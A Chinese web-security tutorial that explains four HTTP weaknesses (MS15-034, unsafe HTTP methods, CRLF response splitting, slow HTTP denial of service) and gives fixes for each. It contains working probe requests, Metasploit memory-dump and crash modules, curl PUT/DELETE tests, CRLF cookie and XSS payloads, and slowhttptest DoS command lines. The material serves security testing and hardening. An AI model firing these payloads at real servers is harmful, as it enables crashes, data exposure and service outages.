34.不安全的HTTP

时间:2024-03-06 21:28:14

由于一些配置不当或者方法错误,导致HTTP的不安全大概有以下几种:

----------------------------------------------------------

1.HTTP.sys远程代码执行漏洞(MS15-034)

2.不安全的HTTP请求方法

3.HTTP响应拆分漏洞(CRLF注入)

4.HTTP慢速攻击

-----------------------------------------------------------

0x01.HTTP.sys远程代码执行漏洞(MS15-034)

1.HTTP.sys远程代码执行漏洞简介:

在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

2.如何对该漏洞进行检测与分析

a.首先判断服务器是不是假设在windows服务器上

这里补充说明下,这个漏洞并不是针对IIS,而是针对windows操作系统的,官方说法如下:

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。
成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到
受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式,此更新可以修复此漏洞。

那么如何判断远程web服务器是不是windows操作系统呢,这一块有很多判断方法,我这里主要是通过IIS来确定windows服务器的,因为就目前而言,IIS服务器仅存在于windows操作系统中。那么通过burp等软件来获取与web服务器的通信数据,就可以很轻易地进行判别。

也可以使用云悉WEB资产梳理:http://www.yunsee.cn/ 来对网站进行探测

b.利用payload进行测试

其实就是发送web请求包,然后分析web服务器的相应状态

我在本地windows7上搭建IIS环境,IP地址为:192.168.0.106

第一个测试方法通过telnet来实现:

$ telnet 192.168.0.106 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

 

第二个测试方法是通过curl命令实现的:

$ curl http://192.168.0.106 -H "Host: 192.168.0.106" -H "Range: bytes=0-18446744073709551615"

如果服务器打上补丁,那么响应状态应该是:

HTTP Error 400. The request has an invalid header name.

如果服务器存在HTTP.sys远程代码执行漏洞,那么响应状态应该是:

HTTP/1.1 416 Requested Range Not Satisfiable
…………

3.HTTP.sys代码执行漏洞危害

a.远程服务器内存读取

这里使用msf来对远程服务器进行内存读取:

use auxiliary/scanner/http/ms15_034_http_sys_memory_dump 
set rhosts 192.168.0.106
run

b.DDOS漏洞

use auxiliary/dos/http/ms15_034_ulonglongadd 
set rhosts 192.168.0.106
set threads 10
run

攻击开始后,win7瞬间蓝屏然后自动重启

4.漏洞修复

厂商已在安全公告MS15-034中修复了此安全漏洞。我们建议用户开启自动更新服务以及时安装最新补丁,如果不能进行升级,可通过禁用IIS内核缓存来临时缓解此漏洞的危险,但这可能会导致IIS性能下降,配置方法:
1、打开IIS管理器,然后导航至您要管理的级别。有关如何在UI的各个位置间进行导航的信息,请参阅在IIS管理器中导航。
2、在“功能视图”中,双击“输出缓存”。
3、在“输出缓存”页中的“操作”窗格中,单击“编辑功能设置”。
4、在“编辑输出缓存设置”对话框中,单击“启用内核缓存”以将其选中,然后单击“确定”。

或者下载补丁:KB3042553

参考链接:

http://www.cnblogs.com/peterpan0707007/p/8529261.html

https://blog.csdn.net/wutianxu123/article/details/82819698

0x02 不安全的HTTP请求方法

1.漏洞描述

不安全的HTTP方法一般包括:TRACE、PUT、DELETE、COPY等。其中最常见的为TRACE方法可以回显服务器收到的请求,主要用于测试或诊断,恶意攻击者可以利用该方法进行跨站跟踪攻击(即XST攻击),从而进行网站钓鱼、盗取管理员cookie等。其他说明方式如下所示:

方法 解释
PUT 向指定的目录上传文件
DELETE 删除指定的资源
COPY 将指定的资源复制到Destination消息头制定的位置
MOVE 将指定的资源移动到Destination消息头指定的位置
CONNECT 客户端使用Web服务器作为代理
PROPFIND 获取与指定资源有关的信息,如作者、大小与内容类别
TRACE 在响应中返回服务器收到的原始请求
DEAD 返回报文的头部
OPTIONS 客户端询问服务器可以提交哪些请求方法
GET 获取服务器资源
POST 传输实体文本

众所周知,GET、POST是最为常见方法,而且大部分主流网站只支持这两种方法,因为它们已能满足功能需求。其中,GET方法主要用来获取服务器上的资源,而POST方法是用来向服务器特定URL的资源提交数据。而其它方法出于安全考虑被禁用,所以在实际应用中,九成以上的服务器都不会响应其它方法,并抛出404或405错误提示。以下列举几个HTTP方法的不安全性:

1、OPTIONS方法,将会造成服务器信息暴露,如中间件版本、支持的HTTP方法等。

2.png2、PUT方法,由于PUT方法自身不带验证机制,利用PUT方法即可快捷简单地入侵服务器,上传Webshell或其他恶意文件,从而获取敏感数据或服务器权限。

3、DELETE方法,利用DELETE方法可以删除服务器上特定的资源文件,造成恶意攻击。

2.渗透测试步骤:

1.使用抓包软件抓取数据包

2.拦截数据包,将HTTP方法修改为GET、POST、HEAD、PUT、DELETE、TRACE等

3.分别发送数据包到服务器

4.查看每种HTTP方法的返回结果。如果服务器完全忽略请求或者返回错误,则该项是安全的。如果服务器有其他任何返回,则服务器响应了不必要的方法,是不安全的。注意:GET和POST响应是正常的,其他的不正常

3.测试方法:

curl -v -X OPTIONS http://www.example.com/test/

查看响应的Allow:GET,HEAD,POST,PUT,DELETE,OPTIONS

curl -v -T test.php http://www.example.com/test/test.php

看是否能上载来判断攻击是否有效

curl -X DELETE http://www.example.com/test/test.php

找一个存在的页面,如test.php,如果删除成功,则攻击有效

curl用法

具体利用方法:

https://www.freebuf.com/articles/web/172695.html

https://blog.csdn.net/wutianxu123/article/details/82634760

0x03 HTTP响应拆分漏洞(CRLF注入)

转载自:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html

1.漏洞描述

HTTP响应头拆分漏洞(CRLF)是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:

web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。

这项攻击方案包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的CR和LF字符没有进行严格的过滤。

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting(HRS)。是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务、缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本、缓存破坏或页面劫持等漏洞。

2.检测方法

通过web扫描工具进行扫描检测,或者手工判断

手工判断举例:一般会在HTTP头中用 Location:http://baidu.com 这种方式进行302跳转,所以我们能控制的内容就是 Location:后面的XXX网址,如下所示为抓包得到的相关的数据包:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn

然后在Location:后手工输入链接,里面注入了一个换行 %0a :

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

再次抓包得到如下:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。

比如一个网站接收url参数 http://test.sina.com.cn/?url=XXX ,XXX放在Location后面作为一个跳转,如果输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:
<img src=1 onerror=alert(/xss/)>

之前说浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是这里<img>这个标签就会显示出来,造成一个xss。

为什么说是无视浏览器filter的,这里涉及到另一个问题。

浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。

怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。

说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。

3.修复方案

建议过滤\r 、\n之类的换行符,避免输入的数据污染到其他HTTP头。具体过滤措施,可参考SQL注入的修复方案。

0x04 HTTP慢速攻击

1.漏洞描述:

慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。HTTP协议规定,HTTP Request以\r\n\r\n(0d0a0d0a)结尾表示客户端发送结束,服务端开始处理。那么,如果永远不发送\r\n\r\n就会产生慢速攻击的漏洞,常见的Slowloris就是利用这一点来做DDoS攻击的。攻击者在HTTP请求头中将Connection设置为Keep-Alive,要求Web Server保持TCP连接不要断开,随后缓慢地每隔几分钟发送一个key-value格式的数据到服务端,如a:b\r\n,导致服务端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者傀儡机来做同样的操作,服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求\r\n\r\n,每隔几分钟写入一些无意义的数据流,拖死机器。

慢速HTTP拒绝服务攻击经过不断的演变和发展,主要有三种攻击类型,分别是Slow headers、Slow body、Slow read。以Slow headers为例,Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点,发起一个HTTP请求,一直不停的发送HTTP头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,每40秒才向服务器发送一个HTTP头部,而Web服务器再没接收到2个连续的\r\n时,会认为客户端没有发送完头部,而持续的等等客户端发送数据。如果恶意攻击者客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。这种攻击类型称为慢速HTTP拒绝服务攻击。

2.漏洞原理

是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此若是恶意地占用住这些连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。

要保持住这个连接,RSnake构造了一个畸形的HTTP请求,准确地说,是一个不完整的HTTP请求。

  • GET / HTTP/1.1\r\n
  • HOST:host\r\n
  • User-Agent:Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 5.1;Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.50313;)\r\n
  • Content-Length:42\r\n

在正常的HTTP包头中,是以两个CLRF表示HTTP Headers部分结束的。

由于Web Server只收到了一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。

X-a: b\r\n

当构造多个连接后,服务器的连接数很快就会达到上限。

3.测试工具SlowHTTPTest

Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并发将导致DoS。

slowloris:完整的http请求是以\r\n\r\n结尾,攻击时仅发送\r\n,少发送一个\r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待
slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但认为的把TCP滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:

    1. tcp窗口设置要比服务器的socket缓存小,这样发送才慢。
    2. 请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。

这里给出工具的github地址:https://github.com/shekyan/slowhttptest

git clone https://github.com/shekyan/slowhttptest.git
cd slowhttptest
sudo ./configure
sudo make && make install

一些参数说明:

-g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
-H      SlowLoris模式
-B      Slow POST模式
-R      Range Header模式
-X      Slow Read模式
-c      number of connections 测试时建立的连接数
-d      HTTP proxy host:port  为所有连接指定代理
-e      HTTP proxy host:port  为探测连接指定代理
-i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
-l      seconds 测试维持时间
-n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
-o      file name 使用-g参数时,可以使用此参数指定输出文件名
-p      seconds 指定等待时间来确认DoS攻击已经成功
-r connections per second 每秒连接个数 -s bytes 声明Content-Length header的值 -t HTTP verb 在请求时使用什么操作,默认GET -u URL 指定目标url -v level 日志等级(详细度) -w bytes slow read模式中指定tcp窗口范围下限 -x bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度 -y bytes slow read模式中指定tcp窗口范围上限 -z bytes 在每次的read()中,从buffer中读取数据量

slowloris模式:

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3

slow post模式:

slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3

slow read模式:

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3

4.修复方案

目前在应用层没有特别好的修复方式,但可以通过部署web防火墙或者入侵防御检测系统来降低该风险:

1、如果是同一IP,在防火墙策略中把IP封掉。
2、加长连接超时时间、出错时重新连接等手法。

参考链接:

https://blog.csdn.net/qinyushuang/article/details/43274383

https://www.cnblogs.com/daoyi/p/SlowHTTPTestman-suDoS-gong-ji.html